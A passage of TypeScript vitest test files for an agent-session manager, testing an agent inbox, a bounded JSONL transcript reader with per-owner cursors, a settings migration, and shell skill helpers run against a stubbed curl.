it('expiry fires onChange so the snapshot catches up', () => {
post('m');
let changes = 0;
inbox.onChange = () => changes++;
now += MESSAGE_TTL_MS + 1;
inbox.summary();
expect(changes).toBe(1);
});
});
describe('summary', () => {
it('reports counts and the oldest unseen time, never text', () => {
const a = post('secret one');
now += 10;
post('secret two');
inbox.read(RX, { receiver: true });
now += 10;
const c = post('secret three');
const row = inbox.summary().get(RX);
expect(row).toEqual({ pending: 3, unseen: 1, oldestUnseenAt: c.createdAt });
expect(JSON.stringify(row)).not.toContain('secret');
expect(a.createdAt).toBeLessThan(c.createdAt);
});
it('leaves out sessions with an empty inbox', () => {
const a = post('m');
inbox.ack(RX, [a.id]);
expect(inbox.summary().has(RX)).toBe(false);
});
});
describe('lifecycle', () => {
it('drop discards the inbox and fires onChange', () => {
post('m');
let changes = 0;
inbox.onChange = () => changes++;
inbox.drop(RX);
expect(inbox.pendingCount(RX)).toBe(0);
expect(changes).toBe(1);
});
it('pruneExcept drops only inboxes of sessions not kept', () => {
inbox.post('keep-me', null, 'a');
inbox.post('gone', null, 'b');
expect(inbox.pruneExcept(['keep-me'])).toBe(1);
expect(inbox.pendingCount('keep-me')).toBe(1);
expect(inbox.pendingCount('gone')).toBe(0);
});
});
describe('snapshot / restore', () => {
it('round-trips messages, senders and the seen state', () => {
const a = post('from a session', 'sender-1');
post('from the user', null);
inbox.read(RX, { receiver: true });
const c = post('unseen');
const restored = new AgentInbox(() => now);
expect(restored.restore(JSON.parse(JSON.stringify(inbox.snapshot())))).toBe(3);
const read = restored.read(RX, { receiver: false });
expect(read.messages.map((m) => [m.id, m.from, m.seen])).toEqual([
[a.id, 'sender-1', true],
[expect.any(String), null, true],
[c.id, 'sender', false],
]);
});
it('skips malformed entries and files instead of throwing', () => {
const restored = new AgentInbox(() => now);
expect(restored.restore(null)).toBe(0);
expect(restored.restore({ version: 2, inboxes: {} })).toBe(0);
expect(restored.restore({ version: 1, inboxes: { s: 'nope' } })).toBe(0);
const good = { id: 'g', from: null, text: 'ok', createdAt: now, seenAt: null };
expect(
restored.restore({
version: 1,
inboxes: {
s: [
good,
{ id: 1 },
{ ...good, id: 'big', text: 'x'.repeat(MAX_MESSAGE_BYTES + 1) },
{ ...good, text: '' },
],
},
})
).toBe(1);
});
it('restores oldest first whatever the file order, so the caps keep the oldest', () => {
const msg = (id: string, createdAt: number) => ({ id, from: null, text: 'x', createdAt, seenAt: null });
const restored = new AgentInbox(() => now);
restored.restore({ version: 1, inboxes: { s: [msg('new', now - 10), msg('old', now - 20)] } });
expect(restored.read('s', { receiver: false }).messages.map((m) => m.id)).toEqual(['old', 'new']);
});
it('holds the count cap on restore', () => {
const many = Array.from({ length: MAX_MESSAGES_PER_INBOX + 5 }, (_, i) => ({
id: `m${i}`,
from: null,
text: 'x',
createdAt: now,
seenAt: null,
}));
const restored = new AgentInbox(() => now);
expect(restored.restore({ version: 1, inboxes: { s: many } })).toBe(MAX_MESSAGES_PER_INBOX);
});
});
});
+202
View File
@@ -0,0 +1,202 @@
/** @fileoverview Bounded JSONL inspection: cursors, byte budgets and file generations. */
import { afterEach, beforeEach, expect, it } from 'vitest';
import { mkdtemp, writeFile, appendFile, rename, rm } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { INSPECT_CURSORS_PER_SCOPE, InspectionReader } from '../src/agent-inspection.js';
let dir: string;
let file: string;
let reader: InspectionReader;
const scope = { owner: 'alice', sessionId: 's', generation: 'pane-1', conversationId: 'thread-1' };
beforeEach(async () => {
dir = await mkdtemp(join(tmpdir(), 'inspect-'));
file = join(dir, 'rollout.jsonl');
reader = new InspectionReader();
});
afterEach(async () => {
await rm(dir, { recursive: true, force: true });
});
it('returns complete UTF8 records within the byte budget and resumes exactly', async () => {
const row = JSON.stringify({ text: 'é😀' }) + '\n';
await writeFile(file, row + row);
const first = await reader.read(file, scope, Buffer.byteLength(row));
expect(first.evidence).toBe(row);
expect(first.truncated).toBe(true);
await appendFile(file, row);
const next = await reader.read(file, scope, 1024, first.cursor);
expect(next.evidence).toBe(row);
expect(next.truncated).toBe(false);
});
it('does not consume partial final records', async () => {
await writeFile(file, '{"text":"hello');
const first = await reader.read(file, scope, 100);
expect(first.evidence).toBe('');
await appendFile(file, '"}\n');
const next = await reader.read(file, scope, 100, first.cursor);
expect(next.evidence).toBe('{"text":"hello"}\n');
});
it('reports an oversized incremental record without splitting it or advancing past it', async () => {
await writeFile(file, '{}\n');
const initial = await reader.read(file, scope, 100);
await appendFile(file, JSON.stringify({ text: 'x'.repeat(300000) }) + '\n');
const result = await reader.read(file, scope, 100, initial.cursor);
expect(result.evidence).toBe('');
expect(result.truncated).toBe(true);
expect(result.blockedReason).toBe('record-exceeds-scan-limit');
expect(result.scannedBytes).toBeLessThanOrEqual(262144);
});
it('rejects malformed, cross-owner and changed-session cursors', async () => {
await writeFile(file, '{}\n');
const first = await reader.read(file, scope, 100);
for (const changed of [
{ ...scope, owner: 'bob' },
{ ...scope, sessionId: 'other' },
{ ...scope, generation: 'new' },
{ ...scope, conversationId: 'new' },
]) {
await expect(reader.read(file, changed, 100, first.cursor)).rejects.toThrow(/cursor/i);
}
await expect(reader.read(file, scope, 100, 'garbage')).rejects.toThrow(/cursor/i);
});
it('rejects truncation, replacement and rewritten consumed evidence', async () => {
await writeFile(file, '{}\n{}\n');
const first = await reader.read(file, scope, 100);
await writeFile(file, '{}\n');
await expect(reader.read(file, scope, 100, first.cursor)).rejects.toThrow(/cursor/i);
await writeFile(file, '{}\n{}\n');
const second = await reader.read(file, scope, 100);
await writeFile(file, '[]\n[]\n');
await expect(reader.read(file, scope, 100, second.cursor)).rejects.toThrow(/cursor/i);
const third = await reader.read(file, scope, 100);
await rename(file, join(dir, 'old'));
await writeFile(file, '[]\n[]\n');
await expect(reader.read(file, scope, 100, third.cursor)).rejects.toThrow(/cursor/i);
});
it('expires cursors and bounds retained state', async () => {
await writeFile(file, '{}\n');
let now = 0;
reader = new InspectionReader(() => now, 2, 1000);
const first = await reader.read(file, scope, 100);
await reader.read(file, scope, 100);
await reader.read(file, scope, 100);
await expect(reader.read(file, scope, 100, first.cursor)).rejects.toThrow(/cursor/i);
const last = await reader.read(file, scope, 100);
now = 1001;
await expect(reader.read(file, scope, 100, last.cursor)).rejects.toThrow(/cursor/i);
});
it('bounds strict attribution itself and refuses an incomplete inventory', async () => {
const { mkdir } = await import('node:fs/promises');
const { findExactCodexConversation } = await import('../src/agent-codex-identity.js');
const home = join(dir, 'codex');
const sessions = join(home, 'sessions');
await mkdir(sessions, { recursive: true });
const id = '11111111-1111-4111-8111-111111111111';
await writeFile(
join(sessions, `rollout-${id}.jsonl`),
JSON.stringify({ type: 'session_meta', payload: { id, cwd: dir, originator: 'codeman_s' } }) + '\n'
);
await writeFile(join(sessions, 'other.txt'), 'other');
const options = { codexHome: home, sessionId: 's', workingDir: dir };
expect((await findExactCodexConversation(options))?.id).toBe(id);
expect(await findExactCodexConversation(options, { maxEntries: 1, maxBytes: 16384 })).toBeUndefined();
});
it('starts at recent complete records past oversized bootstrap evidence, labeling all omission', async () => {
const old = JSON.stringify({ system: 'x'.repeat(300000) }) + '\n';
const latest = JSON.stringify({ assistant: 'latest 😀' }) + '\n';
await writeFile(file, old + latest);
const result = await reader.read(file, scope, Buffer.byteLength(latest));
expect(result.evidence).toBe(latest);
expect(result.omittedBeforeBytes).toBe(Buffer.byteLength(old));
expect(result.truncated).toBe(true);
await appendFile(file, '{"assistant":"next"}\n');
expect((await reader.read(file, scope, 100, result.cursor)).evidence).toBe('{"assistant":"next"}\n');
});
it('attributes a real-sized session_meta row rather than requiring a tiny header', async () => {
const { mkdir } = await import('node:fs/promises');
const { findExactCodexConversation } = await import('../src/agent-codex-identity.js');
const home = join(dir, 'codex');
await mkdir(join(home, 'sessions'), { recursive: true });
const id = '11111111-1111-4111-8111-111111111111';
await writeFile(
join(home, 'sessions', `rollout-${id}.jsonl`),
JSON.stringify({
type: 'session_meta',
payload: { id, cwd: dir, originator: 'codeman_s', instructions: 'x'.repeat(20000) },
}) + '\n'
);
expect(
(
await findExactCodexConversation(
{ codexHome: home, sessionId: 's', workingDir: dir },
{ maxEntries: 8192, maxBytes: 1048576 }
)
)?.id
).toBe(id);
});
it('rejects same-size rewrites outside the bounded cursor anchors', async () => {
const { utimes } = await import('node:fs/promises');
const row = JSON.stringify({ text: 'a'.repeat(20000) }) + '\n';
await writeFile(file, row);
await utimes(file, 1, 1);
const first = await reader.read(file, scope, 30000);
await writeFile(file, row.slice(0, 10000) + 'b' + row.slice(10001));
await expect(reader.read(file, scope, 30000, first.cursor)).rejects.toThrow(/cursor/i);
});
it('keeps cursor capacity bounded across concurrent reads', async () => {
await writeFile(file, '{}\n');
reader = new InspectionReader(Date.now, 2);
const results = await Promise.all(Array.from({ length: 16 }, () => reader.read(file, scope, 100)));
const resumed = await Promise.allSettled(results.map((result) => reader.read(file, scope, 100, result.cursor)));
expect(resumed.filter((result) => result.status === 'fulfilled').length).toBeLessThanOrEqual(2);
});
it('caps cursors per owner and session, so one polling scope cannot evict another', async () => {
await writeFile(file, '{}\n');
const other = { ...scope, owner: 'bob', sessionId: 't' };
const bobs = await reader.read(file, other, 100);
// Alice polls every second for well past the old global FIFO of 1,024.
let last = await reader.read(file, scope, 100);
for (let i = 0; i < 1100; i++) last = await reader.read(file, scope, 100, last.cursor);
// Bob's cursor survives, and so does a retry of Alice's last call.
await expect(reader.read(file, other, 100, bobs.cursor)).resolves.toMatchObject({ evidence: '' });
await expect(reader.read(file, scope, 100, last.cursor)).resolves.toMatchObject({ evidence: '' });
// Alice keeps only her newest cursors: the oldest of one more than the cap is retired.
const issued: string[] = [];
for (let i = 0; i <= INSPECT_CURSORS_PER_SCOPE; i++) issued.push((await reader.read(file, scope, 100)).cursor);
await expect(reader.read(file, scope, 100, issued[0])).rejects.toThrow(/cursor/i);
await expect(reader.read(file, scope, 100, issued[issued.length - 1])).resolves.toBeDefined();
// The cap counts owner and session: a new pane generation of Alice's session shares
// it, Bob's session does not.
const nextPane = { ...scope, generation: 'pane-2' };
for (let i = 0; i < INSPECT_CURSORS_PER_SCOPE; i++) await reader.read(file, nextPane, 100);
await expect(reader.read(file, scope, 100, issued[issued.length - 1])).rejects.toThrow(/cursor/i);
await expect(reader.read(file, other, 100, bobs.cursor)).resolves.toBeDefined();
});
it('keeps an incomplete UTF8 sequence pending until its JSONL record is complete', async () => {
const row = Buffer.from('{"text":"😀"}\n');
const split = row.indexOf(Buffer.from('😀')) + 2;
await writeFile(file, row.subarray(0, split));
const first = await reader.read(file, scope, 100);
expect(first.evidence).toBe('');
await appendFile(file, row.subarray(split));
expect((await reader.read(file, scope, 100, first.cursor)).evidence).toBe(row.toString('utf8'));
});
it('treats a full incremental page as pageable rather than a blocked oversized record', async () => {
await writeFile(file, '{}\n');
const initial = await reader.read(file, scope, 100);
await appendFile(file, '{}\n{}\n');
const page = await reader.read(file, scope, 3, initial.cursor);
expect(page.evidence).toBe('{}\n');
expect(page.truncated).toBe(true);
expect(page.blockedReason).toBeUndefined();
const next = await reader.read(file, scope, 3, page.cursor);
expect(next.evidence).toBe('{}\n');
});
it('still labels the first selected oversized tail record after omitted older bytes', async () => {
await writeFile(file, '{}\n' + JSON.stringify({ text: 'x'.repeat(100) }) + '\n');
const page = await reader.read(file, scope, 10);
expect(page.evidence).toBe('');
expect(page.blockedReason).toBe('record-exceeds-output-budget');
});
+211
View File
@@ -0,0 +1,211 @@
/**
* @fileoverview The one-time boot migration that lets the 1.50.0 agent skill default reach
* installs that saved App Settings before it (src/web/agent-skill-default-migration.ts).
*
* What is pinned, and why it matters:
* - An absent key, a stored `true` or no settings.json at all: settings.json is not written
* (byte-identical, odd formatting kept) and the marker is set.
* - A stored `false` (what every 1.49 save wrote, chosen or not) becomes `true`, every other key
* kept, exactly once: the log line prints once, and a second start reports `already-done`
* without reading the file.
* - An off set AFTER the migration stays off: through the real `PUT /api/settings` (what the
* page's Save sends), then a second start. The PUT neither writes nor drops the marker, and
* `GET /api/settings` never returns it, so the page cannot hold it to send it back.
* - A settings.json that does not parse is left byte-identical, no marker is written, nothing
* throws, and the next start (after the fix) does the migration.
* - A marker that cannot be checked switches nothing on (a deliberate off must not be cleared
* twice).
* - The marker is not a config-backup file, and `WebServer.start()` runs the migration before
* its first settings read and before it listens (source wiring guard: the boot call is skipped
* in test mode, like the other boot-time writes).
*
* The page's side (a device blob holding the old `false`) is pinned in
* test/agent-skill-setting-ui.test.ts.
*
* Port: 0 (one WebServer for the PUT/GET cases).
*/
import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dirname, join, resolve } from 'node:path';
import { WebServer } from '../src/web/server.js';
import { TmuxManager } from '../src/tmux-manager.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import { dataPath } from '../src/config/instance.js';
import { CONFIG_BACKUP_FILES } from '../src/config-backup.js';
import {
AGENT_SKILL_DEFAULT_MARKER,
AGENT_SKILL_DEFAULT_MIGRATED_LOG,
migrateAgentSkillDefault,
} from '../src/web/agent-skill-default-migration.js';
vi.spyOn(TmuxManager, 'isTmuxAvailable').mockReturnValue(true);
const MARKER = dataPath(AGENT_SKILL_DEFAULT_MARKER);
/** Written with a formatting no writer of ours produces, so any rewrite shows in the bytes. */
const seedRaw = (text: string) => writeFileSync(SETTINGS_PATH, text);
const seed = (value: unknown) => seedRaw(JSON.stringify(value));
const raw = () => readFileSync(SETTINGS_PATH, 'utf-8');
const stored = () => JSON.parse(raw()) as Record<string, unknown>;
const marker = () => JSON.parse(readFileSync(MARKER, 'utf-8')) as { migratedAt: string; switchedOn: boolean };
/** The bytes of a torn settings.json (test/settings-json-write-serialization.test.ts). */
const TORN = '{\n "agentSkillEnabled": false\n}' + 'rt-1761000000000"\n}';
let logSpy: ReturnType<typeof vi.spyOn>;
let warnSpy: ReturnType<typeof vi.spyOn>;
const migratedLogs = () => logSpy.mock.calls.filter(([line]) => line === AGENT_SKILL_DEFAULT_MIGRATED_LOG).length;
beforeEach(() => {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
rmSync(SETTINGS_PATH, { force: true });
rmSync(MARKER, { force: true });
logSpy = vi.spyOn(console, 'log');
warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined);
});
afterEach(() => {
logSpy.mockRestore();
warnSpy.mockRestore();
});
describe('nothing to switch on', () => {
it('an absent key: settings.json is not written, the marker is set', async () => {
seed({ lastUsedCase: 'demo' });
const before = raw();
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
expect(raw()).toBe(before);
expect(marker()).toMatchObject({ switchedOn: false });
expect(migratedLogs()).toBe(0);
});
it('no settings.json at all: none is created, the marker is set', async () => {
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
expect(existsSync(SETTINGS_PATH)).toBe(false);
expect(marker()).toMatchObject({ switchedOn: false });
});
it('a stored true is left untouched', async () => {
seed({ agentSkillEnabled: true, caseOrder: ['a'] });
const before = raw();
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
expect(raw()).toBe(before);
expect(marker()).toMatchObject({ switchedOn: false });
});
});
describe('a stored false from before 1.50.0', () => {
it('is switched on once, every other key kept, with one log line', async () => {
seed({ agentSkillEnabled: false, lastUsedCase: 'demo', nice: { enabled: true, niceValue: 5 } });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
expect(stored()).toEqual({ agentSkillEnabled: true, lastUsedCase: 'demo', nice: { enabled: true, niceValue: 5 } });
expect(marker()).toMatchObject({ switchedOn: true });
expect(Number.isNaN(Date.parse(marker().migratedAt))).toBe(false);
expect(migratedLogs()).toBe(1);
// A second start finds the marker and reads nothing.
const after = raw();
expect(await migrateAgentSkillDefault()).toBe('already-done');
expect(raw()).toBe(after);
expect(migratedLogs()).toBe(1);
});
it('a false written by hand after the migration is never switched on again', async () => {
seed({ agentSkillEnabled: false });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
seed({ agentSkillEnabled: false });
expect(await migrateAgentSkillDefault()).toBe('already-done');
expect(stored()).toEqual({ agentSkillEnabled: false });
});
});
describe('a settings.json that does not parse', () => {
it('is left alone, writes no marker, does not throw, and the next start after the fix migrates', async () => {
seedRaw(TORN);
expect(await migrateAgentSkillDefault()).toBe('refused');
expect(raw()).toBe(TORN);
expect(existsSync(MARKER)).toBe(false);
expect(
warnSpy.mock.calls.some(([line]) => String(line).startsWith('[agent-skill] default migration skipped'))
).toBe(true);
// The user repairs the file (or restores a backup): the migration has not run yet, so it runs now.
seed({ agentSkillEnabled: false });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
expect(stored()).toEqual({ agentSkillEnabled: true });
});
});
describe('a marker that cannot be checked', () => {
it('switches nothing on and writes no marker', async () => {
seed({ agentSkillEnabled: false });
// A path below a regular file: lstat answers ENOTDIR, not ENOENT.
expect(await migrateAgentSkillDefault(join(SETTINGS_PATH, 'marker.json'))).toBe('refused');
expect(stored()).toEqual({ agentSkillEnabled: false });
expect(existsSync(MARKER)).toBe(false);
});
});
describe('with the page and the server (port 0)', () => {
let server: WebServer;
const url = (p: string) => `http://localhost:${server.boundPort}${p}`;
beforeAll(async () => {
server = new WebServer(0, false, true);
await server.start();
}, 30000);
afterAll(async () => {
await server?.stop();
}, 30000);
it('an off saved through PUT /api/settings after the migration stays off at the next start, and the PUT leaves the marker alone', async () => {
seed({ agentSkillEnabled: false, lastUsedCase: 'demo' });
expect(await migrateAgentSkillDefault()).toBe('switched-on');
const markerBytes = readFileSync(MARKER, 'utf-8');
// What the page sends when the user turns the switch off (plus another synced key).
const res = await fetch(url('/api/settings'), {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ agentSkillEnabled: false, autoNameSessions: true }),
});
expect(res.status).toBe(200);
expect(stored()).toEqual({ agentSkillEnabled: false, lastUsedCase: 'demo', autoNameSessions: true });
expect(readFileSync(MARKER, 'utf-8')).toBe(markerBytes);
expect(await migrateAgentSkillDefault()).toBe('already-done');
expect(stored().agentSkillEnabled).toBe(false);
});
it('GET /api/settings never carries the marker, so the page cannot hold or send it', async () => {
seed({ agentSkillEnabled: false });
await migrateAgentSkillDefault();
const res = await fetch(url('/api/settings'));
const body = (await res.json()) as Record<string, unknown>;
const data = (body.success === true ? body.data : body) as Record<string, unknown>;
expect(data).toEqual({ agentSkillEnabled: true });
});
});
describe('placement', () => {
it('the marker is not a config-backup file, so a restore never re-arms or drops it', () => {
expect(CONFIG_BACKUP_FILES as readonly string[]).not.toContain(AGENT_SKILL_DEFAULT_MARKER);
});
it('WebServer.start() runs it before its first settings read, the restore and listen, and drops the settings cache', () => {
const source = readFileSync(resolve(import.meta.dirname, '../src/web/server.ts'), 'utf8');
const start = source.slice(source.indexOf(' async start(): Promise<void> {'));
const call = start.indexOf('await migrateAgentSkillDefault()');
expect(call).toBeGreaterThan(0);
for (const later of [
'await this.getAgentInboxPersistEnabled()',
'await this.restoreMuxSessions()',
'await this.app.listen(',
]) {
expect(start.indexOf(later), later).toBeGreaterThan(call);
}
expect(start.slice(call, call + 200)).toContain('this._settingsCache = null;');
});
});
+928
View File
@@ -0,0 +1,928 @@
/**
* @fileoverview The codeman skill's local model helpers: `local_model`, the `local` worker kind
* of `spawn_worker`, and `sendmark`.
*
* Runs the REAL `skills/codeman/preamble.sh` in bash with `CURL` replaced by a stub that plays a
* fake Codeman: it records every request (method, route, query, body) in order and answers from
* files the test wrote, one per route and optionally one per call of that route. So these check
* what the functions put on the wire and what they make of each answer, never a copy of their
* logic, and nothing here talks to a real server.
*
* Port: N/A (no server; the stub answers every request).
*/
import { afterEach, describe, expect, it } from 'vitest';
import { execFileSync, spawnSync } from 'node:child_process';
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
const PREAMBLE = join(__dirname, '..', 'skills', 'codeman', 'preamble.sh');
const API = 'http://127.0.0.1:9';
const SELF = 'caller-session-0000';
const SID = 'worker-local-0001';
// The preamble builds every request body with jq.
let hasJq = true;
try {
execFileSync('jq', ['--version'], { stdio: 'ignore' });
} catch {
hasJq = false;
}
/**
* The fake Codeman. Each call is appended to $CALLS as one JSON line, then answered from
* $ANSWERS/<route>.<n> (the n-th call of that route) or $ANSWERS/<route>. `<file>.code` is the
* HTTP status `-w` reports (default 200) and `<file>.delay` seconds to sleep first. A wait-output
* for `DONE_<token>` writes $WD/codeman-answer-<token>.md first when $ANSWER_TEXT is set, or a
* symlink to $ANSWER_SYMLINK, the way a worker would before printing its marker; with
* $ANSWER_APPEND it appends that line on every such call, a worker still writing its answer.
*
* Written without a single dollar-brace, because this is a JS template literal.
*/
const STUB = String.raw`
stub() {
local m=GET u='' d='' q='' w='' route key n f tok
while [ "$#" -gt 0 ]; do
case "$1" in
-X) m=$2; shift ;;
-d|--data-binary) d=$2; shift ;;
--data-urlencode) q="$q&$2"; shift ;;
-w) w=$2; shift ;;
-H|-u|-o) shift ;;
http*) u=$1 ;;
esac
shift
done
route=$(printf '%s' "$u" | sed "s|^$CODEMAN_API_URL/api/v1/||")
case "$route" in
local-model) key=lm-get ;;
local-model/runtime) key=lm-runtime ;;
quick-start) key=quick-start ;;
sessions/*/*) key=$(basename "$route") ;;
sessions/*) if [ "$m" = DELETE ]; then key=delete; else key=session; fi ;;
*) key=other ;;
esac
jq -nc --arg m "$m" --arg k "$key" --arg q "$q" --arg d "$d" '{m:$m,key:$k,q:$q,d:$d}' >> "$CALLS"
n=$(grep -cF "\"key\":\"$key\"" "$CALLS")
f="$ANSWERS/$key.$n"; [ -f "$f" ] || f="$ANSWERS/$key"
if [ "$key" = wait-output ]; then
case "$q" in *match=DONE_*)
tok=$(printf '%s' "$q" | sed -e 's/.*match=DONE_//' -e 's/&.*//')
if [ -n "$ANSWER_TEXT" ]; then printf '%s' "$ANSWER_TEXT" > "$WD/codeman-answer-$tok.md"; fi
if [ -n "$ANSWER_APPEND" ]; then printf '%s\n' "$ANSWER_APPEND" >> "$WD/codeman-answer-$tok.md"; fi
if [ -n "$ANSWER_SYMLINK" ]; then ln -s "$ANSWER_SYMLINK" "$WD/codeman-answer-$tok.md"; fi ;;
esac
fi
[ -f "$f.delay" ] && sleep "$(cat "$f.delay")"
if [ -f "$f" ]; then cat "$f"; else printf '%s' '{"success":false,"error":"no stub answer","errorCode":"NOT_FOUND"}'; fi
if [ -n "$w" ]; then printf '\n%s' "$(cat "$f.code" 2>/dev/null || echo 200)"; fi
}
CURL=(stub)
`;
interface Call {
m: string;
key: string;
q: string;
d: string;
}
interface Run {
rc: number | null;
stdout: string;
stderr: string;
calls: Call[];
wd: string;
}
const dirs: string[] = [];
afterEach(() => {
for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true });
});
/** Sources the preamble, installs the stub, runs `body`, and returns what happened. */
function runSkill(body: string, answers: Record<string, string> = {}, env: Record<string, string> = {}): Run {
const dir = mkdtempSync(join(tmpdir(), 'codeman-local-skill-'));
dirs.push(dir);
const answerDir = join(dir, 'answers');
const wd = join(dir, 'wd');
const calls = join(dir, 'calls');
mkdirSync(answerDir);
mkdirSync(wd);
writeFileSync(calls, '');
for (const [name, content] of Object.entries(answers)) writeFileSync(join(answerDir, name), content);
const res = spawnSync('bash', ['-c', `. "$PREAMBLE" >/dev/null\n${STUB}\n${body}`], {
encoding: 'utf-8',
timeout: 20_000,
env: {
PATH: process.env.PATH,
HOME: process.env.HOME,
PREAMBLE,
CALLS: calls,
ANSWERS: answerDir,
WD: wd,
CODEMAN_API_URL: API,
CODEMAN_SESSION_ID: SELF,
...env,
},
});
const callList = readFileSync(calls, 'utf-8')
.split('\n')
.filter(Boolean)
.map((line) => JSON.parse(line) as Call);
return { rc: res.status, stdout: res.stdout, stderr: res.stderr, calls: callList, wd };
}
/** The `data` of GET /api/local-model, as the server builds it. */
function status(install: Record<string, unknown>, recommendation: Record<string, unknown> = {}): string {
return JSON.stringify({
success: true,
data: {
hardware: { platform: 'darwin' },
recommendation: { verdict: 'ok', headline: { text: 'A model fits.' }, ...recommendation },
catalogUpdated: '2026-11-06',
install: { running: false, actions: [], ...install },
},
});
}
const INSTALLED = {
state: 'installed',
cli: 'opencode',
cliLabel: 'OpenCode',
endpointId: 'local-ollama',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
};
const RUNNING = status({ ...INSTALLED, running: true, actions: ['start-session', 'stop', 'remove'] });
const STOPPED = status({ ...INSTALLED, running: false, actions: ['start', 'remove'] });
/** What a 1.51 server lists beside `cli`: the agents the model can be run with, and the models on the Mac. */
const AGENTS = [
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: ['start-session'] },
{ cli: 'pi', cliLabel: 'Pi', default: false, status: 'ready', actions: ['start-session'] },
{
cli: 'deepseek',
cliLabel: 'DeepSeek',
default: false,
status: 'ready',
readyMark: '❯',
actions: ['start-session'],
},
{ cli: 'claude', cliLabel: 'Claude Code', default: false, status: 'installable', installCommand: 'x', actions: [] },
];
const LIBRARY = [
{ id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, verified: true, status: 'ready', sizeGb: '23.1' },
{ id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, verified: true, status: 'ready', sizeGb: '13.8' },
];
const WITH_AGENTS = status({
...INSTALLED,
running: true,
harnesses: AGENTS,
library: LIBRARY,
actions: ['start-session', 'stop', 'remove'],
});
const QUICK_START = JSON.stringify({ success: true, data: { sessionId: SID, casePath: '/tmp/summ' } });
const MATCHED = JSON.stringify({ success: true, data: { wait: { matched: true, timedOut: false, ended: false } } });
const NOT_MATCHED = JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true, ended: false } } });
function lastJson(stdout: string): Record<string, unknown> {
const lines = stdout.trim().split('\n');
return JSON.parse(lines[lines.length - 1]) as Record<string, unknown>;
}
describe.skipIf(!hasJq)('preamble local_model', () => {
const cases: Array<{ name: string; body: string; code?: string; rc: number; expect: Record<string, unknown> }> = [
{
name: 'a running model: spawnable now, with the harness, endpoint and model',
body: RUNNING,
rc: 0,
expect: {
spawnable: true,
running: true,
cli: 'opencode',
cliLabel: 'OpenCode',
endpointId: 'local-ollama',
modelId: 'qwen3.6:35b-a3b',
modelLabel: 'Qwen3.6 35B-A3B',
},
},
{
name: 'a server that lists them: the agents with their status and mark, and the models on this Mac',
body: WITH_AGENTS,
rc: 0,
expect: {
spawnable: true,
cli: 'opencode',
agents: [
{ cli: 'opencode', cliLabel: 'OpenCode', status: 'ready', default: true, readyMark: '┃' },
{ cli: 'pi', cliLabel: 'Pi', status: 'ready', default: false },
{ cli: 'deepseek', cliLabel: 'DeepSeek', status: 'ready', default: false, readyMark: '❯' },
{ cli: 'claude', cliLabel: 'Claude Code', status: 'installable', default: false },
],
models: [
{ id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, status: 'ready', sizeGb: '23.1' },
{ id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, status: 'ready', sizeGb: '13.8' },
],
},
},
{
name: 'installed, but no coding agent that can run it is on this Mac: no-agent, running or stopped',
body: status({
...INSTALLED,
running: false,
harnesses: [
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installable', actions: ['install'] },
],
// `start` with no error alone would read as spawnable.
actions: ['start', 'install-agent', 'remove'],
}),
rc: 1,
expect: { spawnable: false, reason: 'no-agent', agents: [{ cli: 'opencode', status: 'installable' }] },
},
{
name: 'an installed model whose runtime is stopped: spawnable once started',
body: STOPPED,
rc: 0,
expect: { spawnable: true, running: false, cli: 'opencode' },
},
{
name: 'start offered beside an error (another program holds the port): blocked, with the sentence',
body: status({
...INSTALLED,
actions: ['start', 'remove'],
error: {
code: 'port-in-use',
next: 'other-port',
message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
},
}),
rc: 1,
expect: {
spawnable: false,
reason: 'blocked',
errorCode: 'port-in-use',
message: 'Port 11435 is in use by another program.',
},
},
{
name: 'not a Mac',
body: JSON.stringify({
success: true,
data: {
hardware: { platform: 'linux' },
recommendation: { verdict: 'none', reason: 'not-macos', headline: { text: 'x' } },
install: { state: 'idle', running: false, actions: ['install'] },
},
}),
rc: 1,
expect: { spawnable: false, reason: 'not-mac' },
},
{
name: 'nothing installed',
body: status({ state: 'idle', actions: ['install'] }),
rc: 1,
expect: { spawnable: false, reason: 'not-installed' },
},
{
name: 'nothing installed on a Mac that fits none: the reason is the server sentence',
body: status(
{ state: 'idle', actions: ['install'] },
{
verdict: 'none',
reason: 'memory',
headline: { text: 'Nothing fits in {budget} GB.', vars: { budget: '12' } },
}
),
rc: 1,
expect: {
spawnable: false,
reason: 'not-installed',
message: 'No local model is installed. Nothing fits in 12 GB.',
},
},
{
name: 'an install that has not finished',
body: status({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] }),
rc: 1,
expect: { spawnable: false, reason: 'install-unfinished', state: 'paused', step: 'model' },
},
{
name: 'admin only in multi-user mode (403)',
body: JSON.stringify({ success: false, error: 'Admin only in multi-user mode', errorCode: 'FORBIDDEN' }),
code: '403',
rc: 1,
expect: { spawnable: false, reason: 'admin-only' },
},
{
name: 'a Codeman without local model support (404)',
body: JSON.stringify({ message: 'Route GET:/api/local-model not found', error: 'Not Found', statusCode: 404 }),
code: '404',
rc: 1,
expect: { spawnable: false, reason: 'unsupported' },
},
{
name: 'refused credentials (a plain-text 401)',
body: 'Unauthorized',
code: '401',
rc: 1,
expect: { spawnable: false, reason: 'unauthorized' },
},
{
